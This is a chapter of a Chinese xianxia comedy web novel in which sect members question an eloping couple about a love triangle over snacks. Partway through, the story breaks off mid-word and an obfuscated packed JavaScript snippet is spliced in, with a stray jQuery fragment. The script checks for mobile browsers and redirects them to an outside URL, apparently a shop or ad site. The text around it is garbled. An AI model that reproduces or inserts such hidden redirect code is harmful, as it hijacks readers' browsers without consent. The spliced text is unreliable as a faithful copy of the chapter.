第 159 章 三角关系
作品:《太过分了二师兄》 第159章三角关系
【等另一角到齐。】
几人报上姓名,听说是神华派的弟子,两边人马也都放心许多。
裴栖鹤抬头看了看天色:“这都几点了。”
“你们一群人围在这都不睡觉啊?”
他顿了顿,“都是修士,好像确实不怎么需要。”
“但这么围着也没用啊,都先回去,我们先问清楚情况再跟你们说。”
陈家堡堡主不愿意离开:“那我们在这,一起问清楚不是更好!”
紫霄门跟着帮腔:“就是!还是我们一块……”
“啧,不懂事。”裴栖鹤无奈,“你们听不明白吗?有些事,家里长辈在,他们就说不出口。”
他插着腰,“各回各家!”
双方人家对视一眼,虽然有些不满,但居然都十分听话地转身散了。
裴栖鹤感慨:“哇……这就是身后站着持一剑尊的威力吗?”
他一扭头,发现持一剑尊居然也跟着人群打算离开,有些傻眼,“啊?掌门你去干嘛啊?”
持一剑尊回头:“我也是长辈。”
他颔首,“你们聊。”
裴栖鹤:“……”
“掌门你就没有一点对八卦的好奇吗?”
持一剑尊有些迟疑。
裴栖鹤趁热打铁:“放心吧,现在人少了,没那么吵!”
持一剑尊思忖片刻,叹了口气,勉为其难留了下来。
裴栖鹤让那两人先去擦干身体换身干净衣服,一块进了屋。
他看了眼屋内摆设,转到了屏风后圆桌前,示意在大厅里站着的众人坐到这里来。
他已经率先坐下,还掏出了不少瓜子花生:“来这来这,又不是升堂,在那边杵着讲多没意思。”
虎叔叹了口气:“我就知道,这小子一向就是这种……不着调的性子!”
“嘿嘿。”裴栖鹤只当他在夸奖,“虎叔吃鸭翅吗?”
虎叔翻了个白眼,也在桌前坐下:“我倒要看看,你要怎么厘清这个烂摊子。”
“你们俩也坐啊。”裴栖鹤打量着陈晴雨和符云两人,示意他们在桌前坐下。
符云看了陈晴雨一眼,陈晴雨却没看他,只是平静在桌前坐下。
符云垂下眼,也紧紧挨着她在桌前坐下了。
裴栖鹤饶有兴致地观察着他们俩的表情,先抓了一把瓜子磕了一个,这才开口:“所以,你俩是私奔了吗?”
陈晴雨笑了一声,她“嗯地应了一声,抬起眼说:“不如我从头讲起吧。
“那好。裴栖鹤连忙点头,把吃的往他们面前松了松,“边吃边说。
他就说嘛,那两家人不在,聊起来就轻松多了。
陈晴雨没打算隐瞒什么,她先从自己和“金银手庞心的婚约说起——庞心的父亲与陈堡主乃是旧交,因此定下婚约。
庞心七岁时父母意外离世,陈堡主收留了他,陈晴雨那时候根本不知道什么婚约,也就把他当弟弟一样照顾着。
可等到陈晴雨十六岁时,庞心十四岁,元宵节她接了一位公子送的花灯,庞心大闹一场,陈晴雨才意识到,他没把自己当姐姐看待。
她想与庞心说清,自己将他当做弟弟,却换来庞心留信出走,说要自己闯出名堂,让她看得起后再来求娶。
“他离家以后,父亲派人寻过他几次,但随着他慢慢显露声名,父亲知道他平安,也就不再去找。陈晴雨平静陈述,“只是父亲总在我面前提起他的消息,我知道,他心底还是想完成这个婚约。
“只是我不愿意。
“我把他当弟弟相处了七年,岂能说变就变?
“只是他终究还是打算回来。
“他成了江湖上赫赫有名的‘金银手’庞心,想要回来求娶。
她停顿一下,没有看向身侧的符云,眼睫轻轻颤了颤,“只是我已经有心上人了。
“我看出父母其实都认同这门婚事,就连从小和我一块长大的丫头都在等我点头,只要我答应,这就是皆大欢喜的好事。
“可我偏偏不想情愿。
“我给他写了信,告诉他若是执意求娶我只会离开陈家,我已有心上人,我会跟他一起走。
“他只回我四字——我意已决。
洛无心听得入神,微微侧目看向一旁的裴栖鹤。
在场只有他磕瓜子嗑得专注……
不对,还有另一旁的持一剑尊。
他捏着瓜子在练剑意——用几不可察的细微剑意沿着缝隙劈开瓜子壳不伤果肉,萧羿察觉到,有样学样,也在模仿,可惜功夫没到持一剑尊境界,果肉也劈成了两半。
他不死心,咬着牙还在折腾。
这师徒二人在前面劈,裴栖鹤就顺手捡他俩劈开的果肉吃,半点没有客气。
虎叔轻咳一声,裴栖鹤抬起头,问陈晴雨:“一点不吃啊?
陈晴雨:“……
裴栖鹤又扭头问符云:“这位紫霄门的兄弟,你有什么要说的吗?
符云微微抬眼,他长了张偏柔美的脸,眉眼神情都显得温柔,他轻声说:“我……我只是紫霄门一名普通弟子,学艺不精,也无甚过人之处。
“谦虚了。裴栖鹤颔首,“长得还是挺好的。
符云:“……
“我……是那日元宵节遇见陈姑娘在赏花灯,心生爱慕,冒昧送了花灯给她,没想到引得庞心恼怒。
“他与我约战,可我资质平平,显然不是他的对手……
他苦笑一声,“输得十分丢人。
“只是这一战我本不想接,奈何他打上门来,咄咄逼人,我怕给师门招惹麻烦,才接下这邀战。
“只是庞心虽然赢了,却也惹得陈姑娘不快,她带着伤药来紫霄门给我赔罪,我俩也因此结缘。
“后来庞心离开,我与陈姑娘两情相悦,只是没想到他还会回来求娶。
“我二人都不是他对手,陈姑娘也说服不了父母,我二人便相约,一同离开。
“只是没想到两方师门竟然打成这样,再这样下去,恐怕要生出祸事,我们这才想着了结此事……
裴栖鹤腮帮子鼓鼓,眼珠一转,问他:“庞心走了几年啊?
“三年。陈晴雨淡淡开口,“三年崭露头角,算是天资卓绝了。
“确实。裴栖鹤赞同点头,又问持一剑尊,“掌门,你有什么看法吗?
持一剑尊抬眼:“不想结就不结。
“谁让你结就打到他不敢再提。
裴栖鹤提醒他:“他俩修为稀松平常,打不过啊。
持一剑尊偏了偏头:“那就靠骨气。
“死也不结,大不了就死。
“嗯咳。虎叔拧起眉头,“说的什么话!
持
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869410|179817||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一剑尊收回视线:“本来他俩也想死。
虎叔瞪他:“那不还活着吗!
裴栖鹤问虎叔:“那虎叔觉得怎么办?
虎叔板着脸:“叫两方不许再打,小孩子爱跟谁成婚就跟谁成婚!
裴栖鹤又问:“这不就是两方不听才麻烦嘛。
虎叔沉思片刻,最终目露凶光:“打到他们两方听!
“哈。裴栖鹤喝了口茶,“半斤八两。
持一剑尊斜眼:“那你说怎么办?
“我?裴栖鹤指指
自己,笑眯眯地说,“我说——”
“天不早了先睡觉吧。”
众人:“……”
“我说真的,你们俩好不容易从水里捞出来,还是先找个地方好好休息吧。”裴栖鹤指指两人,“情况我们大概了解了,剩下的……听说庞心也在赶回来,不如等他一块说。”
陈晴雨神情微动,最终颔首:“好。”
符云也没有异议,两人一块离开,裴栖鹤悄悄从他俩身后探头,注视着他们离开的背影。
萧羿看不过去,踢了他一脚:“你到底在琢磨什么?”
“就这么完了?”
“哎哟!”裴栖鹤捂着屁股跳起来,“小师弟你也不拦着他!”
“捂屁股干什么,我又没有踢你的屁股。”萧羿挑眉,“少来!”
“你还没说呢,怎么解决?”
裴栖鹤伸了个懒腰:“我怎么知道。”
萧羿诧异:“你不知道?”
“他们都不说真话,谁能知道怎么解决。”裴栖鹤笑眯眯地问他,“你觉得这二人真是一对苦命鸳鸯吗?”
他举起手:“请抢答!”
持一剑尊淡然开口:“她没有看他。”
“嗯?”裴栖鹤竖起耳朵。
持一剑尊抬眼:“喜欢谁自然会盯着谁。”
“符云看过几次陈晴雨,陈晴雨却从始至终没有看过他。”
虎叔摸着下巴琢磨:“照这么说,确实。”
“而且她口口声声只说自己有心上人,却从没说直接说过符云的名字。”
洛无心若有所思:“不仅如此,她说在元宵节有人送她花灯,惹得庞心吃醋……符云就在旁边,她也不说是他送的。”
“比起苦命鸳鸯,甚至像是刻意避开提起他。”
裴栖鹤看向萧羿,一脸慈祥:“这位同学呢?”
萧羿结结巴巴:“你们、你们怎么都看出来了?”
“哎。”裴栖鹤叹气,“零分。”
“我!”萧羿恼怒,“我、我也不是什么都没看出来,只是只有感觉,没有根据。”
“我觉得,陈晴雨未必不喜欢符云,只是她似乎心中也有恨……而符云,他也未必不喜欢陈晴雨,只是他好像有所愧疚。”
萧羿拧起眉头,“他二人究竟是什么关系?”
裴栖鹤喝了口茶:“等另一角到场就知道了。”
萧羿疑惑:“什么叫另一角?”
“三角关系当然得等三个角到齐了才能聊啊。”裴栖鹤理直气壮,“先等等庞心。”
“这个鸭翅有人吃吗?没人吃我吃光……哎!”
虎叔从他盘子里抓走了最后一个鸭翅。
作者有话要说:
裴栖鹤:有的同学笨归笨但架不住直觉准[白眼]
萧羿:?

